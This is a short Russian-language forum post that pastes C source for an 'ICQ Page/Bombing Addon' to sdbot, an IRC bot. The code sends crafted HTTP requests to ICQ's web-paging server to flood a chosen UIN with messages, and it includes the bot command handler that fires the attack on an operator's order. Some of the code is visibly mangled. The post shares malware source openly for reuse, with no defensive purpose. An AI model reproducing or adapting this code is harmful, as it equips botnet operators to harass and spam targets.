ооооо епта проект готовит новый! кстать ты же делал свой брутер? ну так вот там алгоритм такой же! в чем трабла?
Наверно это поможет // ICQ Page/Bombing Addon v2 // This was originaly posted on the 'modifications/addons' forum // on the sdbot website by enumerator, I had his permission to // modify it. // I think the only thing I did to his version was change the way // got the address for the ICQ WWWP server. I am still working on // next version for him which lets you specify FromNmae, FromEmail, // Subject, Body, and UIN. // Useage: // <prefix>icq <UIN> <Message> // #define NO_ICQBOMB // disables icq paging/bombing functions #ifndef NO_ICQBOMB int ICQBomb(char * cUIN, char * cMessage) { // Part of v3 I left in incase it would help anyone, this needs to stay commented out. // char cFromName[50]; // char cFromEmail[50]; // char cSubject[100]; // char cMessage[256]; // char cUIN[15]; struct hostent *host; struct sockaddr_in WWPServer; WORD wVersionRequested; WSADATA wsaData; char szEOL[] = { 13, 10, 0 }; char szData[512] = ""; BOOL TheBomb = FALSE; int nLoop; for(nLoop = 0; nLoop < strlen(cMessage); nLoop ++) { if( cMessage[ nLoop ] < 33 || cMessage[ nLoop ] > 126 || cMessage[ nLoop ] == '&') { cMessage[ nLoop ] = '+'; } } wVersionRequested = MAKEWORD(1, 0); if (WSAStartup(wVersionRequested, &wsaData) == 0) { host = gethostbyname("wwp.icq.com"); WWPServer.sin_addr = *(struct in_addr*)host->h_addr; WWPServer.sin_family = AF_INET; WWPServer.sin_port = htons(80); int ICQSock = socket(AF_INET, SOCK_STREAM, 0); if (connect(ICQSock, (struct sockaddr*)&WWPServer, sizeof(WWPServer)) == 0) { strcpy(szData, "GET /scripts/WWPMsg.dll?from=AUser&[email protected]&subject=WWPage"); strcat(szData, "&body="); strcat(szData, cMessage); strcat(szData, "&to="); strcat(szData, cUIN); strcat(szData, " HTTP/1.0"); strcat(szData, szEOL); strcat(szData, szEOL); strcat(szData, szEOL); TheBomb = (send(ICQSock,szData,strlen(szData),0) >= 0); if(TheBomb) recv(ICQSock, szData, 512, 0); closesocket(ICQSock); } WSACleanup(); } return TheBomb; } #endif // Place this in the '// commands requiring at least 2 parameters' // section. #ifndef NO_ICQBOMB else if (strcmp("icq", a) == 0) { if (x != NULL) {ª x = x + strlen(a) + strlen(a[s+1]) + 2; char *y = strstr(x, a[s+2]); if (y != NULL) ICQBomb(a[s+1], y); sprintf(sendbuf, "WWP bombed Icq UIN: (%s).", a[s+1]); if (!silent) irc_privmsg(sock, a[2], sendbuf, notice); addlog(sendbuf); } } #endif